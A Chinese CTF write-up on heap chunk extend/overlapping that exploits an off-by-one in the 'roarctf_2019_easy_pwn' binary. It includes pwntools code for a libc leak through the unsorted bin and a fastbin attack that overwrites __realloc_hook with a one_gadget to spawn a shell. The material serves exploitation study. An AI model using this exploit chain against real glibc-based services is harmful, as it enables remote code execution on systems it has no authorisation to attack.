What is Chunk Extend and Overlapping
Chunk Extend and Overlapping就是当我们可以控制chunk的header时候,通过修改原有块的头大小,产生堆块重叠 比如说原来的两个堆块都是0x21大小,通过修改第一个块的头部,使他大小覆盖第2个块 而在比赛题目里,有些时候会在bss段保存堆地址和堆大小,所以我们需要free大堆块再malloc同样大小的堆块,就可以完全控制被覆盖的块的内容,由于被覆盖的块可能存在指针或者使可以用来泄露libc地址,所以可以进一步利用
pwn题思路
有同学可能会问了,因为一般我们不可以直接修改头部,所以要想修改头部还需要溢出,既然可以溢出了为什么不直接修改下一个块呢? 这是个好问题,所以ctf一般喜欢出0ff by one,只能溢出一个字节,那么这个字节就只能修改大小,所以就相当了这种利用方法 当然如果遇见off by one的题目还可以使用unlink来做,但下面我要举的例题不能用unlink
例题
roarctf_2019_easy_pwn
保护机制
可以看到开启了地址随机化,所以不能用unlink 因为unlink需要知道bss的地址(因为bss保存了chunk地址),那么这里由于随机化,我们无法得到bss的地址,所以只能用chunk extend来做
add函数
这个题目的保护算是比较好的了,专门在bss记录了填入的大小
show函数
没什么好说的,主要用来泄露libc地址
delete函数
这个delete函数算是比较安全的了,指针也清零了,内容也完全清零了
edit函数
万恶之源 如果输入的size刚好是原有的size+10,那么可以多写一个字节,(虽然不知道为什么会这样设计,当然在真实的项目里如果有人这样写那腿肯定要被打断)
开始做题
准备框架
#! /usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcheronline
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./roarctf_2019_easy_pwn_debug"
elf = ELF(elf_path)
context(arch=elf.arch, os="linux", log_level="debug")
if "debug" in elf_path:
libc_path = elf.linker.decode().replace("ld", "./libc")
libc = ELF(libc_path)
else:
libc_path = ""
if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 28370
io = remote(remote_ip, remote_port)
else:
if libc_path != "":
io = process(elf_path, env={"LD_PRELOAD": libc_path})
else:
io = process(elf_path)
def debug():
gdbscript = """
x/5xg $rebase(0x202040)
"""
gdb.attach(io, gdbscript=gdbscript)
def add(size: int):
sla(b"choice: ", b"1")
sla(b"size:", str(size).encode())
# off by one
def edit(index: int, size: int, content: bytes):
sla(b"choice: ", b"2")
sla(b"index:", str(index).encode())
sla(b"size:", str(size).encode())
sla(b"content:", content)
def free(index: int):
sla(b"choice: ", b"3")
sla(b"index:", str(index).encode())
def show(index: int):
sla(b"choice: ", b"4")
sla(b"index:", str(index).encode())
调试
注意哦,add时候大小不要写错 一个大小为0x20的堆块,可以填写的内容是0x18,所以在malloc源码里面有这么一个宏
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
#define MALLOC_ALIGNMENT (2 * SIZE_SZ)
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
#define MIN_CHUNK_SIZE (sizeof(struct malloc_chunk))
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
};
SIZE_SZ在32位是4字节,64位是8字节 所以上面代码在64位
if (req) <9:
0x20
else:
((req) + 0x17) & (0xfffffff0)
所以在64位下有下面这张表
0x20 | 0x30 | 0x40 |
---|
0~0x18 | 0x19~0x28 | 0x29~-0x38 |
然后0xn8(除了0x8)是特别特殊的一个值,因为如果选择了这个值,表明下一个块的pre_size也要被我们完全占用,所以一般如果存在off-by-one的漏洞都需要分配这个大小
覆盖后面一个块的大小
add(0x18)
add(0x18)
edit(0, 0x18 + 10, p64(0) * 3 + p8(0x61))
debug()
it()
可以看到确实大小被改了
释放
add(0x18)
add(0x18)
edit(0, 0x18 + 10, p64(0) * 3 + p8(0x61))
free(1)
debug()
it()
结果程序挂了,通过上面的图也可以发现,因为我们把整个堆块改的不合理,top chunk已经没了
堆块free验证机制
参见libc free源码 由于这里不是mmap分配的,所以主要有以下三个步骤
p = mem2chunk (mem);#就是把指针-0x10,从data部分转到header
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
#define NON_MAIN_ARENA 0x4
arena_for_chunk ,这个其实就是取M标记位,虽然__libc_free前面已经做过了这方面的验证,但不知道这里为什么还要验证一下,其实我感觉可以直接把main_arena的地址取来
然后在__int_free里面有个check_inuse_chunk(av, p)检查
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))
static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{
mchunkptr next;
do_check_chunk (av, p);//这个检查有兴趣可以google一下,我大概看了一下,没什么特别的地方
if (chunk_is_mmapped (p))
return; /* mmapped chunks have no next/prev */
/* Check whether it claims to be in use ... */
assert (inuse (p));
next = next_chunk (p);//所以这里我们要能够找到next_chunk
/* ... and is surrounded by OK chunks.
Since more things can be checked with free chunks than inuse ones,
if an inuse chunk borders them and debug is on, it's worth doing them.
*/
if (!prev_inuse (p))
{
/* Note that we cannot even look at prev unless it is not inuse */
mchunkptr prv = prev_chunk (p);
assert (next_chunk (prv) == p);
do_check_free_chunk (av, prv);
}
if (next == av->top)
{
assert (prev_inuse (next));
assert (chunksize (next) >= MINSIZE);
}
else if (!inuse (next))
do_check_free_chunk (av, next);
}
这里面怎么说呢,其实主要还是check了一下整个的完整性,你不能说随便修改了大小,然后我们在调试的时候可以发现,如果我们随便修改了一个块的大小,可能会找不到top_chunk,所以我们构造的时候还需要能够保持结构的完整性
尝试修改堆块
这里面首先我们要配置这样几个堆
add(0x18)//用来修改第二个堆的大小
add(0x18)///用来覆盖第三个堆
add(0x88)//这个因为要把他变成unsorted bin,因为unsorted bin为空的时候,释放一个unsorted bin会使fd,bk指向main_arena+0x58
add(0x10)//防止和top chunk合并
相当于我们要让第二个块吞并第三块
add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
debug()
it()
这个时候可以保证我们这个结构没有被破坏掉,下面尝试是否可以释放
add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
debug()
it()
尝试申请
add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
debug()
it()
观察bss区域 可以看到第二行和第三行重叠了,说明成功了
说到这里我插一句题外话,网上其他payload甚至还需要伪造一块,其实不需要 只能说libc-2.23这个管理机制漏洞很多,我们如果可以修改头,其实只要保证可以正常指向top_chunk,就可以任意造成Chunk Extend
开始泄露libc
这个时候由于清空的原因,0x88 chunk的头不见了,所以我们需要补上
add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
debug()
it()
这个时候由于unosrted bin的原因,可以看到chunk2 的指针,我们可以通过show读取出来,这个时候其实是看不见chunk 2的,因为我们是从第一块分配的也就是chunk 0开始往上找,由于Chunk overlapping,所以系统不会发现还有重叠的块,但还是可以释放掉,因为如果从它开始,也可以找到结尾的top_chunk ,但注意,如果我们把91改成90,就会报错,因为我们通过libc_free的源码,如果这个块的prev_inuse为否,他会尝试去检查完整性,所以我们只能设为1,这样他不会去找prev_chunk
if (!prev_inuse (p))
{
/* Note that we cannot even look at prev unless it is not inuse */
mchunkptr prv = prev_chunk (p); //这里会异常
assert (next_chunk (prv) == p);
do_check_free_chunk (av, prv);
}
add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
debug()
it()
可以看到泄露的地址,下面就是转化成libc_base
任意地址写
这里需要绕过一个验证,就是你fd指针指向的区域,size要一样 所以我们选取free_hook -0x13的位置,刚好是7f 那么怎么做呢,看下面代码
add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + libc.sym["system"]
//上面就是获得地址
add(0x68)//先添加一个大小为70的块,这个在重叠区,编号为2,我们要后释放,这样才有fd指针
add(0x68)//添加一个用来先释放的
free(4)
free(2)
debug()
it()
我们接下来就是找mallo_hook上方有没有size一样的地方
提醒 fastbin attack不能打__free_hook,因为__free_hook上面是io,而io很多时候是会在malloc中变化的,我第一次还觉得奇怪为什么报错,结果发现断在__int_malloc的时候__free_hook周围都是0 这里由于是relloc_hook,所以我们选择relloc_hook-0x1b
add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + 0xF1147
relloc_hook_addr = libc_base + libc.sym["__realloc_hook"]
add(0x68)
add(0x68)
free(4)
free(2)
payload = p64(0) * 3 + p64(0x71) + p64(relloc_hook_addr - 0x1B)
edit(1, len(payload), payload)
add(0x68)
add(0x68)
下面就是如何覆盖__relloc_hook 首先把relloc_hook覆盖成one_gadget里面的execuve,同时这里还需要平衡栈,但我暂时不懂原理,过几天研究一下
add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + 0xF1147
relloc_hook_addr = libc_base + libc.sym["__realloc_hook"]
add(0x68)
add(0x68)
free(4)
free(2)
payload = p64(0) * 3 + p64(0x71) + p64(relloc_hook_addr - 0x1B)
edit(1, len(payload), payload)
add(0x68)
add(0x68)
relloc_addr = libc_base + libc.sym["realloc"]
payload = b"a" * (0xB) + p64(system_addr) + p64(relloc_addr + 4)
edit(4, len(payload), payload)
add(0x10)
it()
总结
Chunk Extend and Overlapping其实归根到底只是一种利用方式,但根本的安全威胁还是堆溢出,虽然你别看我溢出了一个字节,但其实基本可以直接影响堆管理器 而且这种off by one的漏洞出现还是比较经常的,特别是很容易溢出字符串结尾的\0
|